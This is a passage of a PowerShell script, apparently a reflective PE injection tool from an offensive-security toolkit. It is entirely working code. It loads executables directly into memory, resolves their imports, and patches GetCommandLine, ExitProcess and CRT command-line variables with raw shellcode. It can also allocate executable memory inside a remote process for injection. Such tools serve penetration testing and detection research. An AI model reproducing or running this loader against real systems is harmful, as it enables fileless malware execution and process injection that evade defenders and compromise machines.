[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose "Done importing DLL imports"
break
}
$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}
#Get the first thunk, then loop through all of them
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$ProcedureName = ''
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
# and doing the comparison, just see if it is less than 0
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([Int64]$OriginalThunkRefVal -lt 0)
{
$ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
}
else
{
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
}
if ($RemoteLoading -eq $true)
{
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
}
else
{
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
}
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}
Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)
$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}
return $ProtectionFlag
}
Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize
[UInt32]$OldProtectFlag = 0
Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}
#This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
#Returns an object with addresses to copies of the bytes that were overwritten (and the count)
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,
[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)
#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
$ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
throw "KernelBase handle null"
}
#################################################
#First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
# We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr"
}
#Prepare the shellcode
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8
[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
#Make copy of GetCommandLineA and GetCommandLineW
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
#Overwrite GetCommandLineA
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineAAddrTemp = $GetCommandLineAAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#Overwrite GetCommandLineW
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#################################################
#################################################
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
# I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
# It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
# argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
#################################################
#################################################
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
#CorExitProcess (compiled in to visual studio c++)
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr
#ExitProcess (what non-managed programs use)
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr
[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
#The following is the shellcode (Shellcode: ExitThread.asm):
#32bit shellcode
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
#64bit shellcode (Shellcode: ExitThread.asm)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]$Shellcode3 = @(0xff, 0xd3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
#Make copy of original ExitProcess bytes
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
#Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
# call ExitThread
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
#################################################
Write-Output $ReturnArray
}
#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
# It copies Count bytes from Source to Destination.
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)
{
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}
#####################################
########## FUNCTIONS ###########
#####################################
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Get the export table
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
#AddressOfNames is an array of pointers to strings of the names of the functions exported
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName)
{
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
# which contains the offset of the function in to the DLL
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}
}
return [IntPtr]::Zero
}
Function Invoke-MemoryLoadLibrary
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$ExeArgs,
[Parameter(Position = 2, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$RemoteLoading = $false
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$RemoteLoading = $true
}
#Get basic PE information
Write-Verbose "Getting basic PE information from the file"
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
}
#Verify that the PE and the current process are the same bits (32bit or 64bit)
$Process64Bit = $true
if ($RemoteLoading -eq $true)
{
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
if ($Result -eq [IntPtr]::Zero)
{
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
}
[Bool]$Wow64Process = $false
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
if ($Success -eq $false)
{
Throw "Call to IsWow64Process failed"
}
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
{
$Process64Bit = $false
}
#PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
$PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$PowerShell64Bit = $false
}
if ($PowerShell64Bit -ne $Process64Bit)
{
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$Process64Bit = $false
}
}
if ($Process64Bit -ne $PEInfo.PE64Bit)
{
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
}
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
Write-Verbose "Allocating memory for the PE and write its headers to memory"
[IntPtr]$LoadAddr = [IntPtr]::Zero
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
}
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
if ($RemoteLoading -eq $true)
{
#Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
#todo, error handling needs to delete this memory if an error happens along the way
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($EffectivePEHandle -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
}
}
else
{
if ($NXCompatible -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
}
else
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
}
$EffectivePEHandle = $PEHandle
}
[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
if ($PEHandle -eq [IntPtr]::Zero)
{
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
}
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
#Now that the PE is in memory, get more detailed information about it
Write-Verbose "Getting detailed PE information from the headers loaded in memory"
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress"
#Copy each section from the PE in to memory
Write-Verbose "Copy PE sections in to memory"
Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
#Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
#The PE we are in-memory loading has DLLs it needs, import those DLLs for it
Write-Verbose "Import DLL's needed by the PE we are loading"
if ($RemoteLoading -eq $true)
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
